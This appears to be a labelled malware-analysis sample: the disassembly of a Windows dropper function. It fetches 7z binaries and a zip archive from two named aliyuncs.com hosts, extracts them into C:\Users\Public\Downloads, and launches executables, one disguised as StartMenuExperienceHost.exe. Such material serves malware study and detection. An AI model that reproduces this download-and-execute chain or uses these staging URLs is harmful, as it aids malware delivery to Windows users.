Function at 0x401cd1
Capabilities:
Create process on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x248
lea rbp, [rsp + 0x80]
call fcn.0040ba80
lea rax, [rbp + 0x8f]
mov rcx, rax
call fcn.0045b910
lea rdx, [rbp + 0x8f]
lea rax, [rbp + 0x60]
mov r8, rdx
lea rdx, str.C:UsersPublicDownloads7z.dll
mov rcx, rax
call fcn.0048d060
lea rax, [rbp + 0xbf]
mov rcx, rax
call fcn.0045b910
lea rdx, [rbp + 0xbf]
lea rax, [rbp + 0x90]
mov r8, rdx
lea rdx, str.https:__abanding.oss_cn_hongkong.aliyuncs.com_7z.dll
mov rcx, rax
call fcn.0048d060
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x90]
mov rcx, rax
call fcn.004016c9
lea rax, [rbp + 0x90]
mov rcx, rax
call fcn.0048d570
lea rax, [rbp + 0xbf]
mov rcx, rax
call fcn.0045b940
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.0048d570
lea rax, [rbp + 0x8f]
mov rcx, rax
call fcn.0045b940
lea rax, [rbp + 0xef]
mov rcx, rax
call fcn.0045b910
lea rdx, [rbp + 0xef]
lea rax, [rbp + 0xc0]
mov r8, rdx
lea rdx, str.C:UsersPublicDownloads7z.exe
mov rcx, rax
call fcn.0048d060
lea rax, [rbp + 0x11f]
mov rcx, rax
call fcn.0045b910
lea rdx, [rbp + 0x11f]
lea rax, [rbp + 0xf0]
mov r8, rdx
lea rdx, str.https:__abanding.oss_cn_hongkong.aliyuncs.com_7z.exe
mov rcx, rax
call fcn.0048d060
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004016c9
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0048d570
lea rax, [rbp + 0x11f]
mov rcx, rax
call fcn.0045b940
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.0048d570
lea rax, [rbp + 0xef]
mov rcx, rax
call fcn.0045b940
lea rax, [rbp + 0x14f]
mov rcx, rax
call fcn.0045b910
lea rdx, [rbp + 0x14f]
lea rax, [rbp + 0x120]
mov r8, rdx
lea rdx, str.C:UsersPublicDownloads_fix.zip
mov rcx, rax
call fcn.0048d060
lea rax, [rbp + 0x17f]
mov rcx, rax
call fcn.0045b910
lea rdx, [rbp + 0x17f]
lea rax, [rbp + 0x150]
mov r8, rdx
lea rdx, str.https:__senting.oss_cn_hongkong.aliyuncs.com_aaa.zip
mov rcx, rax
call fcn.0048d060
lea rdx, [rbp + 0x120]
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.004016c9
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.0048d570
lea rax, [rbp + 0x17f]
mov rcx, rax
call fcn.0045b940
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.0048d570
lea rax, [rbp + 0x14f]
mov rcx, rax
call fcn.0045b940
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 1
mov word [rbp + 0x30], 0
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.C:UsersPublicDownloads7z.exe_x_C:UsersPublicDownloads_fix.zip__oC:UsersPublicDownloads_fix__y
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 0x1bc], eax
mov rax, qword [rbp - 0x30]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.C:UsersPublicdownloads_fixpython_3.5.3_embed_win32StartMenuExperienceHostStartMenuExperienceHost.exe
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
call fcn.00401550
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.C:UsersPublicdownloads_fixpython_3.5.3_embed_win32_afhost.exe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.C:UsersPublicdownloads_fixpython_3.5.3_embed_win32wuhu_afhost.exe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
lea rcx, str.StartMenuExperienceHost.exe
call fcn.004018d1
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp + 0x1af]
mov rcx, rax
call fcn.0045b910
lea rdx, [rbp + 0x1af]
lea rax, [rbp + 0x180]
mov r8, rdx
lea rdx, str.C:UsersPublicdownloads_fixpython_3.5.3_embed_win32StartMenuExperienceHost
mov rcx, rax
call fcn.0048d060
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.00401a27
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.0048d570
lea rax, [rbp + 0x1af]
mov rcx, rax
call fcn.0045b940
mov eax, 0
jmp 0x40223f
add rsp, 0x248
pop rbx
pop rbp
ret